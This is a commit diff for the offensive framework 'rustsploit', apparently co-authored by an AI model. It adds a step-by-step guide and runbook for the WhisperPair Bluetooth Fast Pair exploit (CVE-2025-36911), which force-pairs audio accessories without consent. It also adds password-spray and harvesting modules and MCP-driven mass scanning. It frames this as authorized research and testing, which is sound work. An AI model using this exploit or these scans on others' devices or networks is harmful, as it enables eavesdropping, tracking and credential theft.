Sync local dev: new modules + framework hardening & feature fixes

Modules:
- Refactor wpair (WhisperPair / CVE-2025-36911) into a module directory
  (crypto/db/gatt/protocol + model_ids.csv), replacing the single wpair.rs
- Add h3c_bmc suite (firewall/ipmi-hash/kvm-probe/redfish dumps),
  fortinet SSLVPN/magic-token, sharepoint_doc_harvest, m365_activesync_spray,
  ldap_anon_spray, php/git/tapestry webapp modules, h3c_cloudos_api_enum, etc.

Framework hardening / feature fixes:
- Background jobs capture module output (drainer) + wire progress counters
  (ScanCounters); tenant jobs record terminal status on their own JobManager
- SSRF: ssrf_gate distinguishes SSRF_BLOCKED vs TARGET_ERROR; fail-closed
  REST/WS/MCP dispatch; tenant-tagged PQ lifecycle events
- Scheduler: exclusions + service-port precheck on CIDR/file fan-out; accurate
  considered/skipped counters; cancellation-safe permit acquisition
- Mass scan works via shell/CLI/API/MCP (added MCP run_module background-job
  option so long scans don't hit the tool-call timeout)
- Bruteforce workers re-scope OUTPUT_BUFFER; cross-product combo default
- Stores: cred dedup/cap/scrub, loot scrub, workspace protocol scrub,
  spool explicit-owner + write_raw (no-newline spooling)
- Error handling: removed let _/discarded-error patterns; failures are
  distinguishable from negatives
- Removed dead check/CheckResult subsystem, OutputAccumulator, and the no-op
  --output-format flag; CredEntry.valid wired (creds invalidate/validate);
  typed HostUp/ServiceDetected events
- Add .gitignore (build artifacts, local config, engagement data)

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This commit is contained in:
S.B
2026-06-04 16:44:32 +02:00
parent f229c3bd6c
commit 8a8b7e8e5f
371 changed files with 37502 additions and 8978 deletions
+16
View File
@@ -0,0 +1,16 @@
[build]
# Sparse registry protocol — much faster index updates (default on 1.70+, set explicitly).
# Set CARGO_TARGET_DIR in your shell to share build artifacts across projects.
[target.x86_64-unknown-linux-gnu]
linker = "clang"
# Prefer mold if installed (`sudo apt install mold`); fall back to lld otherwise.
# Swap "-fuse-ld=lld" -> "-fuse-ld=mold" after installing mold.
rustflags = ["-C", "link-arg=-fuse-ld=lld"]
[target.aarch64-unknown-linux-gnu]
linker = "clang"
rustflags = ["-C", "link-arg=-fuse-ld=lld"]
[registries.crates-io]
protocol = "sparse"
+46
View File
@@ -0,0 +1,46 @@
# Build artifacts
/target/
**/__pycache__/
*.log
# Local agent / editor config
/.claude/
# Separate sub-projects / scratch analysis (not part of rustsploit core)
/arcticalopex/
/_analysis/
/addme/
# Audit & scratch artifacts
/AUDIT_FINDINGS.md
/audit-findings.md
/_audit_findings.json
/_audit_summary.txt
/arcticalopex_audit.md
/arcticalopex_audit_phase_a_b_d_summary.md
/arcticalopex_wiring_audit.md
/rustsploit_audit.md
/bugs.txt
/todo.txt
/test.txt
# Engagement data / secrets — NEVER commit
/creds.txt
/found_backend2026.csv
/results.txt
/results_*.txt
/hydra_targets_*.txt
/hydra.restore
/paused.conf
/blocklist.conf
/*.gnmap
/za-target.txt
/za_targets_final.txt
/xneelo
/xneelo_mapp.txt
/should_not_exist2.bat
# Stray placeholder files
/src/t
/src/modules/t
/src/modules/exploits/t
Generated
+4354
View File
File diff suppressed because it is too large Load Diff
+11 -4
View File
@@ -1,6 +1,6 @@
[package]
name = "rustsploit"
version = "0.4.9"
version = "0.5.0"
edition = "2024"
[[bin]]
@@ -26,7 +26,7 @@ http = "1.4"
bytes = "1.11.1"
tokio-rustls = { version = "0.26", default-features = false, features = ["ring", "logging", "tls12"] }
url = "2.5"
quick-xml = "0.39"
quick-xml = "0.40"
data-encoding = "2.10"
semver = "1.0"
@@ -121,10 +121,17 @@ aes-gcm = "0.11.0-rc.3"
# Passphrase KDF for host key encryption at rest
argon2 = "0.5"
# Post-Quantum Encryption (PQXDH: X25519 + ML-KEM-768 hybrid, ChaCha20-Poly1305 AEAD)
# Post-Quantum Encryption — triple hybrid: X25519 (classical) + ML-KEM-1024
# (FIPS 203, lattice) + Classic McEliece 460896f (code-based), all chained into
# the HKDF IKM, with ChaCha20-Poly1305 AEAD.
ml-kem = "0.3.0-rc.2"
kem = "0.3"
rand_core = { version = "0.6", features = ["getrandom"] }
rand_core = "0.10"
# Classic McEliece (code-based KEM) — algorithmically independent of ML-KEM's
# lattice assumption. The crate pins rand 0.8 for its RNG trait bounds, so we
# also alias rand 0.8 purely to supply an OsRng to its encapsulate/keypair APIs.
classic-mceliece-rust = { version = "3.1", features = ["mceliece460896f"] }
rand08 = { package = "rand", version = "0.8" }
x25519-dalek = { version = "2.0", features = ["static_secrets", "zeroize"] }
chacha20poly1305 = "0.11.0-rc.3"
hkdf = "0.13"
File diff suppressed because it is too large Load Diff
+41 -68
View File
@@ -78,9 +78,10 @@ Authentication uses SSH-style public/private key pairs with post-quantum cryptog
|--------|------|-------------|
| `GET` | `/health` | Health check |
| `POST` | `/pq/handshake` | Establish PQ-encrypted session (mutual auth) |
| `POST` | `/pq/register-key` | Enroll a client public key using the one-time enrollment token |
| `GET` | `/pq/ws` | Upgrade to PQ-encrypted WebSocket transport |
### Protected (26 endpoints — require active PQ session)
### Protected (require active PQ session)
**Modules**
@@ -91,11 +92,18 @@ Authentication uses SSH-style public/private key pairs with post-quantum cryptog
| `GET` | `/api/module/{category}/{name}` | Get module info/metadata |
| `POST` | `/api/run` | Execute a module against a target |
**Check**
| Method | Path | Description |
|--------|------|-------------|
| `POST` | `/api/check` | Run a module's non-destructive vulnerability check |
| `POST` | `/api/run/all` (alias `POST /api/run_all`) | Run the selected module against all stored hosts |
**Shell**
| Method | Path | Description |
|--------|------|-------------|
| `POST` | `/api/shell` | Execute any shell command (full parity with interactive shell) |
| `POST` | `/api/shell` | **Disabled** — returns `501 NOT_IMPLEMENTED`. Use the individual RPC endpoints (`/api/run`, `/api/target`, `/api/check`, …) instead. |
**Target**
@@ -165,11 +173,11 @@ Authentication uses SSH-style public/private key pairs with post-quantum cryptog
|--------|------|-------------|
| `GET` | `/api/export?format=<json\|csv\|summary>` | Export engagement data |
> **Note:** The `check` command (non-destructive vulnerability check) is available via `POST /api/shell` with `{"command": "check"}` when a module and target are set. There is no dedicated `/api/check` endpoint.
> **Note:** Non-destructive vulnerability checks use the dedicated `POST /api/check` endpoint (a module and target must be set). The `POST /api/shell` endpoint is **disabled** and returns `501 NOT_IMPLEMENTED`.
> All responses include `request_id`, `timestamp`, and `duration_ms` fields for observability.
> **Total: 28 endpoints** (2 public + 26 protected) across 9 resource categories, plus WebSocket transport.
> The route table above lists the most commonly used endpoints. The dispatcher (`src/api.rs`) also exposes additional sub-routes such as `GET /api/modules/enriched`, `GET /api/creds/search`, `POST /api/creds/clear`, `POST /api/hosts/notes`, `POST /api/hosts/clear`, `POST /api/loot/clear`, `GET /api/workspaces`, `POST /api/jobs/limit`, `GET /api/jobs/{id}`, and `GET`/`POST /api/spool`. Treat `src/api.rs` as the source of truth for the full route set.
### WebSocket Transport
@@ -190,61 +198,20 @@ WebSocket messages use the same JSON request/response format as REST endpoints.
---
### Shell Command Endpoint
### Shell Command Endpoint (disabled)
`POST /api/shell` provides **full parity** with the interactive shell. Every command
available in the `rsf>` prompt works via this endpoint. Commands that require interactive
prompts (like `creds add`, `services add`, `loot add`) accept inline arguments instead.
`POST /api/shell` is **not implemented** and returns `501 NOT_IMPLEMENTED`. A
generic "run any shell command" endpoint is intentionally withheld until an ACL
design lands. Use the dedicated RPC endpoints instead:
**Request format:**
```json
{
"command": "single command string",
"commands": ["cmd1", "cmd2", "cmd3"]
}
```
Use `command` for a single command or `commands` (array, 1-20 entries) for batching.
Shell metacharacters (`& | ; $ >`) are forbidden — use the `commands` array for chaining.
**Supported commands:**
| Category | Commands |
|----------|----------|
| Navigation | `help`, `modules`, `find <kw>`, `use <path>`, `info [path]`, `back` |
| Targeting | `set target <ip>`, `set subnet <CIDR>`, `set port <n>`, `show_target`, `clear_target` |
| Execution | `run [target]`, `run_all [target]`, `check` |
| Global Options | `setg <key> <val>`, `unsetg <key>`, `show_options` |
| Credentials | `creds`, `creds add <host> <port> <svc> <user> <secret> [type]`, `creds search <q>`, `creds delete <id>`, `creds clear` |
| Hosts/Services | `hosts`, `hosts add <ip>`, `services`, `services add <host> <port> <proto> <name> [ver]`, `notes <ip> <text>` |
| Workspace | `workspace [name]` |
| Loot | `loot`, `loot add <host> <type> <desc> <data>`, `loot search <q>` |
| Export | `export <json\|csv\|summary> <file>` |
| Jobs | `jobs`, `jobs -k <id>`, `jobs clean` |
| Logging | `spool [off\|file]` |
**Not available in API mode:** `resource` (security — prevents server-side file execution), `makerc` (no shell history).
**Response format:**
```json
{
"success": true,
"message": "N shell command(s) executed",
"data": {
"results": [
{
"command": "modules",
"success": true,
"output": "{\"total\": <dynamically generated>, ...}",
"duration_ms": 2
}
]
}
}
```
Commands returning structured data (modules, creds, hosts, services, loot, jobs, options, info, check)
encode their output as JSON strings in the `output` field.
| Want to… | Use |
|----------|-----|
| Select / inspect a module | `GET /api/modules`, `GET /api/module/{category}/{name}` |
| Set / clear the target | `POST` / `DELETE /api/target` |
| Run a module | `POST /api/run` (or `POST /api/run/all` for all stored hosts) |
| Run a non-destructive check | `POST /api/check` |
| Read / write global options | `GET` / `POST` / `DELETE /api/options` |
| Manage creds / hosts / services / loot | the corresponding `/api/creds`, `/api/hosts`, `/api/services`, `/api/loot` routes |
---
@@ -254,24 +221,30 @@ encode their output as JSON strings in the `output` field.
| Check | Detail |
|-------|--------|
| Request body limit | Max 1 MB (prevents DoS) |
| API key validation | Must be printable ASCII, max 256 chars |
| Request body limit | Max 2 MiB (`DefaultBodyLimit`, prevents DoS) |
| Target validation | Length check, control char rejection, path traversal prevention |
| SSRF target filtering | Targets resolving to loopback/RFC1918/link-local/CGNAT/cloud-metadata ranges are rejected (`is_blocked_target` / `resolve_and_check` in `src/api.rs`) |
| Module path sanitization | Validated against injection and traversal attacks |
| Resource limits | Auto-cleanup when tracked IPs or auth failures exceed 100,000 entries |
### IP Whitelist
> There is no API-key mechanism. Authentication is performed by the
> post-quantum mutual handshake (enrollment token + client public key), not by
> a bearer key.
An optional IP whitelist can be configured at `~/.rustsploit/ip_whitelist.conf` (one IP per line, `#` for comments). When the file exists and contains entries, only listed IPs are allowed to access the API. All other IPs receive HTTP `403 Forbidden`. If the file is absent or empty, all IPs are allowed.
### Access Control
Access is gated by the PQ handshake: a client must complete `/pq/handshake`
with an authorized key (bootstrapped via an enrollment token) before any
`/api/*` route is reachable. There is **no** `ip_whitelist.conf` file or
IP-allowlist mechanism.
### Rate Limiting
- **10 requests per second** per IP (general rate limit)
- **3 failed auth attempts** → IP blocked for **30 seconds**
- Blocked IPs receive HTTP `429 Too Many Requests`
- Failure counter resets automatically after the block expires
- Successful auth resets the failure counter for that IP
- Expired blocks and entries older than **1 hour** are auto-pruned
The only rate limiter is on the PQ handshake endpoint (`src/pq_middleware.rs`):
- **10 handshake attempts per 60-second sliding window, per source IP.**
- Over-limit handshakes are rejected; timestamps older than the window are pruned automatically.
There is no general per-request-per-second limit and no failed-auth lockout on the `/api/*` routes themselves.
### Post-Quantum Host Key
+16 -6
View File
@@ -25,11 +25,13 @@ An optional positional argument (`exploit`, `scanner`, `creds`) can be used to s
|------|--------|-------------|
| `--module` / `-m` | module name or path | Module to execute (short name or qualified path) |
| `--target` / `-t` | IP / hostname / CIDR | Target to run against |
| `-o` | `key=value` | Set a module option (repeatable: `-o port=443 -o verbose=y`) |
| `--set-target` | IP / hostname / CIDR | Persist a global target for all modules and exit |
| *(positional)* | `exploit`, `scanner`, `creds` | Optional module category subcommand |
Options set via `-o` are equivalent to `set key value` in the shell. Metasploit
aliases are supported: `-o RPORT=443`, `-o LPORT=31337`, `-o THREADS=100`.
> There is no `-o key=value` flag. Per-module options are configured
> interactively, via `set`/`setg` in the shell, or through a resource script
> (`-r`). Run the module without the option set and answer the prompt, or
> pre-seed it with `setg <key> <value>` in a startup `.rc` file.
---
@@ -38,13 +40,18 @@ aliases are supported: `-o RPORT=443`, `-o LPORT=31337`, `-o THREADS=100`.
| Flag | Short | Description |
|------|-------|-------------|
| `--list-modules` | | Print all available modules and exit |
| `--gen-module-catalog` | | Regenerate `docs/Module-Catalog.md` from the live registry and exit |
| `--list-checkpoints` | | List on-disk scan checkpoints (`~/.rustsploit/checkpoints/`) and exit |
| `--verbose` | `-v` | Enable detailed logging |
| `--output-format` | | Control output: `text` (default) or `json` |
| `--strict-tls` | | Verify TLS for all modules (default accepts self-signed certs) |
| `--api` | | Start the PQ-encrypted REST + WebSocket API server |
| `--mcp` | | Start as MCP (Model Context Protocol) server on stdio |
| `--interface <addr:port>` | | Bind address for API server (default: `127.0.0.1:8080`) |
| `--pq-host-key <path>` | | PQ host key file (default: `~/.rustsploit/pq_host_key`) |
| `--pq-authorized-keys <path>` | | Authorized client keys file (default: `~/.rustsploit/pq_authorized_keys`) |
| `--interface <addr:port>` | | Bind address for API server (default: `127.0.0.1`, port `:8080` appended) — requires `--api` |
| `--pq-host-key <path>` | | PQ host key file (default: `~/.rustsploit/pq_host_key`) — requires `--api` |
| `--pq-authorized-keys <path>` | | Authorized client keys file (default: `~/.rustsploit/pq_authorized_keys`) — requires `--api` |
| `--pq-key-passphrase <pass>` | | Passphrase to encrypt the PQ host key at rest — requires `--api` |
| `--trust-proxy` | | Trust `X-Forwarded-For` for client-IP attribution — requires `--api` |
| `--resource` | `-r` | Execute a resource script file on startup |
---
@@ -75,6 +82,9 @@ cargo run -- -m port_scanner -t 10.0.0.1 --output-format json
# Execute a resource script
cargo run -- -r scripts/scan.rc
# WhisperPair Fast Pair exploit — interactive BLE sub-shell (needs the bluetooth feature)
cargo run --features bluetooth -- -m exploits/bluetooth/wpair
```
---
+37
View File
@@ -4,6 +4,43 @@ A high-level summary of significant changes. For the full detailed log, see [`ch
---
## 2026-06-04 — WhisperPair (Fast Pair ECDH) re-implemented in `exploits/bluetooth/wpair`
The Fast Pair ECDH exploitation flow (CVE-2025-36911) that had been reduced to
discovery-only during the v0.5.0 module rewrite is **restored and rebuilt** as a
`wpair/` submodule (`crypto` · `protocol` · `db` · `gatt` · `mod`):
- **ECDH Key-Based Pairing handshake (§3.3.2)** — ephemeral secp256r1 ↔ the
Provider's Anti-Spoofing public key → `K = SHA-256(z)[0..16]` → AES-128-ECB
encrypted 80-byte KBP write (`p256` + `aes` + `sha2`).
- **Interactive sub-shell** — `scan` (with PAIRING vs SteadyState classification),
`info`, `select`, `exploit`, `testall`, `exploitall`, `pair`, `rename` (§3.3.5),
`switch` (§5.3.3), `harvest`, plus passkey + account-key planting.
- **Conformance tests** — `nonce` (replay / freshness §4.3) and `curve`
(off-curve point validation §4.5).
- **Keyless detection** — `testall` / `exploit` detect the bypass with no
Anti-Spoofing key by classifying on whether the Provider accepts the KBP write
out of pairing mode (a patched device rejects it at the GATT layer); the key is
only needed to *complete* crypto pairing. SteadyState model IDs are read over GATT.
- **Device dataset** — the KU Leuven COSIC WhisperPair `model_ids.csv` (~2,900
registered Fast Pair models: name, manufacturer, type, Find-Hub tracking flag)
is embedded via `include_str!` and parsed lazily; `info` resolves friendly names
and `harvest` sweeps the full set. No anti-spoofing keys exist in any public
dataset, so the table is names-only.
- **Anti-Spoofing key resolution** — operator override (`setg antispoofing_key`)
and a configurable Google Nearby Devices metadata API fetch (`setg
gfp_metadata_url` / `gfp_api_key`).
- **Protocol verified** against the Fast Pair spec + Python/Android reference PoCs:
characteristic UUIDs `fe2c1233``fe2c1238`, request flags `0x11`, and the
Additional-Data HMAC-SHA256 + Fast-Pair AES-CTR construction.
- **Tests** — 16 unit tests (AES FIPS-197 KAT, ECDH symmetry, HMAC RFC-4231, CTR,
KBP/passkey/account-key/Additional-Data layouts, advert classification, key
extraction). Builds clean with and without `--features bluetooth`; clippy clean.
See the [Fast Pair / WhisperPair Guide](Fast-Pair-WhisperPair-Guide.md).
---
## v0.5.0-dev (2026-05-24) — Universal source port, probe timeout passthrough, inter-feature integration
Full integration sweep ensuring all features work together across all modules.
+145
View File
@@ -0,0 +1,145 @@
# Fast Pair / WhisperPair Exploitation Guide (`exploits/bluetooth/wpair`)
> **Authorized testing only.** WhisperPair force-pairs Bluetooth audio
> accessories without the owner's consent and can expose the microphone. Only
> run it against devices you own or are explicitly authorized to test. The
> rustsploit project ships this as a defensive/research capability for the
> publicly disclosed **CVE-2025-36911** (KU Leuven COSIC).
## What it is
WhisperPair is a pairing-mode-bypass affecting many vendors' Google Fast Pair
firmware (Sony, Jabra, JBL, Bose, Pixel Buds, Nothing, OnePlus, Soundcore,
Marshall, …). A conforming accessory should only accept a Key-Based Pairing
request while it is *discoverable*; vulnerable firmware accepts it at any time,
so an attacker in range (~1014 m) can silently pair, seize the
microphone/controls, and — via Find Hub — track the device.
The `wpair` module implements the full Seeker (attacker) side as an interactive
BLE sub-shell.
## How the handshake works (Paper §3.3.2)
1. The Seeker generates an ephemeral **secp256r1** keypair.
2. ECDH against the Provider's **Anti-Spoofing public key** yields shared `z`;
the session key is `K = SHA-256(z)[0..16]`.
3. The 16-byte Key-Based Pairing request `[type=0x00][flags][provider MAC 6B][salt 8B]`
is **AES-128-ECB** encrypted with `K`.
4. The 80-byte payload `E_K(request) || seeker_public_key[64]` is written to the
Key-Based Pairing characteristic (`FE2C1234-…`). A vulnerable Provider
decrypts it (proving the Seeker knew the public key) and proceeds even when
not in pairing mode.
## Requirements
- Build with the Bluetooth feature: `cargo run --features bluetooth -- -m exploits/bluetooth/wpair`
- A local BLE controller, powered on (`bluetoothctl power on`).
- Permission to drive the radio: run as root or grant `CAP_NET_RAW` to the binary.
- `bluetoothctl` on `PATH` for the `pair` / `switch` commands.
## Detection vs. full takeover
> **You do not need a key to *detect* the bug.** `testall` / `exploit` send a
> Key-Based Pairing request (flags `0x11` = INITIATE_BONDING | EXTENDED_RESPONSE)
> and classify on whether the device **accepts the write out of pairing mode** — a
> patched device rejects it at the GATT layer (insufficient auth/encryption). When
> no Anti-Spoofing key is configured, `wpair` runs a *bypass probe* with a random
> key: it still proves the vulnerability, it just can't derive the real session
> key. The Anti-Spoofing key is only required to **complete** crypto pairing
> (session key + passkey + account key). No public PoC (Python or Android) fetches
> keys from Google — there is no public endpoint; the key is supplied or captured.
## Sourcing the Anti-Spoofing public key
For a *full takeover* the attack needs the **target model's Anti-Spoofing public
key** (detection does not — see above). Google
distributes the matching *private* key only to the manufacturer, but the
*public* key is served to every Seeker (phone) so it can pair — keyed by the
24-bit model ID. The built-in device table is the **KU Leuven COSIC WhisperPair
research dataset** (~2,900 registered models with names, manufacturer, type and
Find-Hub tracking flag — embedded from `model_ids.csv` and parsed lazily); it
carries **names, not keys**, because anti-spoofing public keys are not published
in bulk anywhere. `wpair` resolves a key in this order:
1. **Operator override (most reliable):** `setg antispoofing_key <base64>` — paste
the key for your target once. This is the recommended path for a known device
(e.g. your own earbuds), and works even for a SteadyState target whose advert
carries no model ID.
2. **Seed table:** a key shipped for that model ID (rare — we ship names, not keys).
3. **Google Nearby Devices metadata API:** configure a URL template and key —
`setg gfp_metadata_url <template>` and `setg gfp_api_key <key>`. The template
may contain `{model_id}` (6 hex digits, upper-case) and `{api_key}`.
### Obtaining a key for your test device
- Capture the metadata fetch a real Android phone makes when first pairing the
device (the public key is in the device metadata response), or
- Configure the metadata API and run `harvest` to pull keys for the seed models,
or
- Supply it directly with `setg antispoofing_key <base64>`.
> The 256-bit Anti-Spoofing **private** key is not brute-forceable. "Harvesting"
> means enumerating the 24-bit model-ID space against the metadata API to collect
> **public** keys — see the `harvest` command (bounded to the seed table by
> default).
## Interactive commands
| Command | Action |
|---------|--------|
| `scan` | Discover Fast Pair devices; classifies each as `PAIRING` (3-byte model ID) or `STEADY-STATE` (account-key filter — advertising but not in pairing mode, the prime target). |
| `info` | Show discovered devices with model name, chipset, state, and Anti-Spoofing-key availability. |
| `select <MAC>` | Set the current target. |
| `exploit` | Full ECDH Key-Based Pairing exploit (force-pair) on the target, then plant a passkey + account key. |
| `testall` | Non-destructive vulnerability test on every discovered device (plain KBP, ECDH-first so a vulnerable device isn't mis-reported as patched). |
| `exploitall` | Run the full exploit on every discovered device. |
| `nonce` | Conformance test §4.3 — replays identical KBP bytes; acceptance = no nonce freshness. |
| `curve` | Conformance test §4.5 — sends an off-curve public key; acceptance = no point validation. |
| `pair` | Bond via `bluetoothctl` (pair + trust + connect). |
| `rename <name>` | Write a personalized device name (Additional Data, §3.3.5) using the session key. |
| `switch` | Audio-switching attack (§5.3.3) using the planted account key. |
| `harvest` | Fetch seed-model Anti-Spoofing keys from the configured metadata API. |
| `help` / `quit` | — |
## Global options
| Option | Example | Effect |
|--------|---------|--------|
| `target_mac` | `setg target_mac AA:BB:CC:DD:EE:FF` | Target a single device. |
| `adapter` | `setg adapter 1` | BLE adapter index (multi-controller hosts). |
| `scan_secs` | `setg scan_secs 20` | Scan window, clamped 3300 s. |
| `model_id` | `setg model_id 0x0582FD` | Model ID when the advert doesn't carry one (SteadyState). |
| `antispoofing_key` | `setg antispoofing_key <base64>` | Provider Anti-Spoofing public key. |
| `gfp_metadata_url` | `setg gfp_metadata_url https://…/{model_id}?key={api_key}` | Metadata API URL template. |
| `gfp_api_key` | `setg gfp_api_key <key>` | Metadata API key. |
## Hardware runbook (e.g. your own earbuds)
1. `cargo run --features bluetooth -- -m exploits/bluetooth/wpair`
2. Put the earbuds in their case / out of pairing mode (to prove the *bypass*
they should be advertising the account-key filter, i.e. SteadyState).
3. `scan` → note the MAC and whether it shows `STEADY-STATE`.
4. `select <MAC>` then `testall` — this **detects** the bypass with no key (it
classifies on whether the device accepts the KBP write out of pairing mode).
5. For a **full takeover**, provide the key — `setg antispoofing_key <base64>`
(for a SteadyState target `wpair` also reads the model ID over GATT) — then
`exploit`. It derives the session key, plants a passkey + account key, stores
them to loot, and prints `VULNERABLE … CVE-2025-36911`; `pair` then completes
OS-level bonding.
6. Run `nonce` and `curve` to record the conformance results.
> The protocol details are verified against the public Fast Pair spec and two
> reference PoCs (Python + Android): characteristic UUIDs (`fe2c1233`-`fe2c1238`),
> the canonical request flags (`0x11`), and the Additional-Data
> HMAC-SHA256 + Fast-Pair-AES-CTR construction. The deterministic core (ECDH,
> AES-128, the KBP/passkey/account-key/Additional-Data builders) was validated
> during development against standard test vectors (FIPS-197 AES, RFC-4231 HMAC,
> ECDH symmetry). The connect path retries with backoff and a 10 s timeout; the
> live GATT behaviour still depends on your adapter and target firmware — report
> anything that misbehaves against your hardware.
## References
- CVE-2025-36911 — <https://nvd.nist.gov/vuln/detail/CVE-2025-36911>
- WhisperPair — <https://whisperpair.eu/>
- Fast Pair Provider spec — <https://developers.google.com/nearby/fast-pair/specifications/service/provider>
+1
View File
@@ -21,6 +21,7 @@ Welcome to the Rustsploit documentation hub. Use the links below to navigate to
| [Security & Validation](Security-Validation.md) | Input validation constants, security patterns, honeypot detection |
| [Credential Modules Guide](Credential-Modules-Guide.md) | Best practices for credential modules — creds_helper, source port, timeout passthrough |
| [Exploit Modules Guide](Exploit-Modules-Guide.md) | Best practices for exploit modules — mass scan compat, batch guards, target-specific files |
| [Fast Pair / WhisperPair Guide](Fast-Pair-WhisperPair-Guide.md) | Bluetooth Fast Pair exploitation (CVE-2025-36911) — ECDH Key-Based Pairing, anti-spoofing key sourcing, conformance tests, hardware runbook |
| [Utilities & Helpers](Utilities-Helpers.md) | Network wrappers, creds_helper, exploit_helper, source port binding, cfg_prompt_* |
| [Bad Patterns](BAD_PATTERNS.md) | Banned code patterns — 95+ regex checks for panics, error swallowing, network bypasses |
| [Testing & QA](Testing-QA.md) | Build checks (0 errors, 0 warnings), smoke tests, wordlist validation |
+21 -6
View File
@@ -24,9 +24,8 @@ All commands are **case-insensitive** and support aliases:
| `set subnet <CIDR>` | `sn <CIDR>` | Set target to a CIDR subnet |
| `show_target` | `st`, `showtarget` | Display current target |
| `clear_target` | `ct`, `cleartarget` | Clear target |
| `run` | `go`, `exec` | Execute the selected module |
| `run` | `go`, `exec`, `ra` | Execute the selected module |
| `run -j` | | Run module as background job |
| `run_all` | `runall`, `ra` | Run module against all IPs in subnet |
| `check` | `ch` | Non-destructive vulnerability check |
| `setg <key> <val>` | `sg` | Set a global option (persists across modules) |
| `unsetg <key>` | `ug` | Remove a global option |
@@ -72,15 +71,20 @@ rsf> go
## Command Chaining
Execute multiple commands on one line using the `&` separator:
Execute multiple commands on one line using the `&` or `;` separator (both are
sequential — there is no parallel/background semantics implied by `&`):
```text
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
rsf> f1 ssh ; u creds/generic/ssh_bruteforce ; set target 192.168.1.1
```
Commands are parsed and executed left-to-right. Useful for scripting quick workflows.
To run a module against every host in a subnet, just `set target <CIDR>` (or
`random`) and `run` — the dispatcher fans out automatically; there is no
separate `run_all` command.
---
## Target Normalization
@@ -112,17 +116,21 @@ The framework-level dispatcher handles multiple target types transparently for a
All modules benefit from this automatically -- the dispatcher expands multi-target values and invokes the module once per resolved target.
> **Note:** Only `random` and `0.0.0.0/0` trigger a full-internet random mass
> scan. Bare `0.0.0.0` is treated as a normal single host, **not** a mass-scan
> keyword, so `t 0.0.0.0` will not launch an internet-wide scan.
---
## Honeypot Detection
After a target is set, Rustsploit automatically runs a honeypot check before module execution:
- Scans **200 common ports** with a 250 ms timeout each.
- Scans **30 common ports** with a 200 ms timeout each.
- If **11 or more** ports are open, it warns that the target is likely a honeypot.
- Runs automatically on every `run`/`go` invocation.
Manual call (from module code): `utils::basic_honeypot_check(&ip).await`
Manual call (from module code): `crate::utils::network::quick_honeypot_check(ip)`
---
@@ -176,6 +184,13 @@ The shell accepts Metasploit-style option names and maps them to Rustsploit keys
| `target_rps` | `set target_rps 10` | Per-target rate limit |
| `prescan` | `set prescan auto` | Pre-scan tool for CIDR (auto/masscan/zmap/none) |
| `prescan_rate` | `set prescan_rate 1000` | Pre-scan packets per second |
| `target_mac` | `setg target_mac AA:BB:CC:DD:EE:FF` | wpair: target a single Fast Pair device |
| `adapter` | `setg adapter 1` | wpair: BLE adapter index |
| `scan_secs` | `setg scan_secs 20` | wpair: BLE scan window (3300 s) |
| `model_id` | `setg model_id 0x0582FD` | wpair: Fast Pair model ID when not in the advert |
| `antispoofing_key` | `setg antispoofing_key <base64>` | wpair: Provider Anti-Spoofing public key |
| `gfp_metadata_url` | `setg gfp_metadata_url <tmpl>` | wpair: metadata API URL template (`{model_id}`/`{api_key}`) |
| `gfp_api_key` | `setg gfp_api_key <key>` | wpair: metadata API key |
| Any custom key | `set my_key value` | Modules read via `cfg_prompt_*` |
### Source Port Binding
+1 -1
View File
@@ -64,7 +64,7 @@ All modules support mass scan universally — `random` / CIDR / file targets / c
| Module | Description | Rank | Check |
|---|---|---|---|
| `exploits/bluetooth/wpair` | Discovers Bluetooth Low Energy accessories advertising the Google Fast Pair service UUID (0xfe2c). The full hijacking flow is interactive and requires approving the pairing on the attacker side; this module reports visible devices so the operator can pick a target. Requires `bluetooth` feature. | Excellent | |
| `exploits/bluetooth/wpair` | Google Fast Pair pairing-mode-bypass exploitation (WhisperPair, CVE-2025-36911). Discovers Fast Pair accessories (service 0xfe2c), then performs the secp256r1 ECDH Key-Based Pairing handshake against the target's Anti-Spoofing key to force-pair out of pairing mode. Interactive sub-shell: scan/info/exploit/testall/exploitall/nonce/curve/pair/rename/switch/harvest, with nonce-replay (§4.3) and invalid-curve (§4.5) conformance tests. Requires `bluetooth` feature + a local BLE adapter. See the [Fast Pair / WhisperPair Guide](Fast-Pair-WhisperPair-Guide.md). | Excellent | |
| `exploits/cameras/abus/abussecurity_camera_cve202326609variant1` | Probes ABUS security cameras for the path-traversal vulnerability in /webparam.cgi that allows reading /etc/passwd and similar local files. | Excellent | |
| `exploits/cameras/acti/acm_5611_rce` | Probes ACTi ACM-5611 IP cameras for command injection in the iperf parameter on /cgi-bin/test. Sends a benign echo-marker payload. | Excellent | |
| `exploits/cameras/avtech/cve_2024_7029_avtech_camera` | Exploits CVE-2024-7029 in AVTECH IP cameras for remote code execution. | Excellent | |
+120 -29
View File
@@ -28,6 +28,16 @@ pub(crate) fn validate_target(target: &str) -> bool {
}
pub(crate) fn is_blocked_target(target: &str) -> bool {
// Multi-target (comma-separated): block if ANY element is blocked, so a
// benign-looking list like "8.8.8.8,127.0.0.1" can't smuggle a blocked
// host past the filter. Mirrors Target::parse's multi-target handling.
if target.contains(',') {
return target
.split(',')
.map(str::trim)
.filter(|s| !s.is_empty())
.any(is_blocked_target);
}
// Mass-scan keywords are deliberately allowed — this function exists for
// SSRF mitigation, not for restricting scan scope. Modules that opt in
// to mass-scan mode parse these keywords themselves.
@@ -196,7 +206,10 @@ fn is_blocked_ip(ip: std::net::IpAddr) -> bool {
if segs[0] == 0xfd00 && segs[1] == 0x0ec2 { return true; }
if segs[0] & 0xfe00 == 0xfc00 { return true; }
if segs[0] & 0xffc0 == 0xfe80 { return true; }
if let Some(v4) = v6.to_ipv4_mapped() {
// Use to_ipv4() (not to_ipv4_mapped()) so both IPv4-mapped
// (::ffff:a.b.c.d) and the deprecated IPv4-compatible (::a.b.c.d)
// forms are unwrapped — otherwise ::127.0.0.1 bypasses the filter.
if let Some(v4) = v6.to_ipv4() {
return is_blocked_ipv4(v4);
}
false
@@ -207,18 +220,29 @@ fn is_blocked_ip(ip: std::net::IpAddr) -> bool {
fn is_blocked_ipv4(v4: std::net::Ipv4Addr) -> bool {
let o = v4.octets();
o == [0, 0, 0, 0]
|| o[0] == 127
|| o[0] == 10
|| (o[0] == 172 && (o[1] & 0xf0) == 16)
|| (o[0] == 192 && o[1] == 168)
|| (o[0] == 169 && o[1] == 254)
|| o == [168, 63, 129, 16]
|| o == [100, 100, 100, 200]
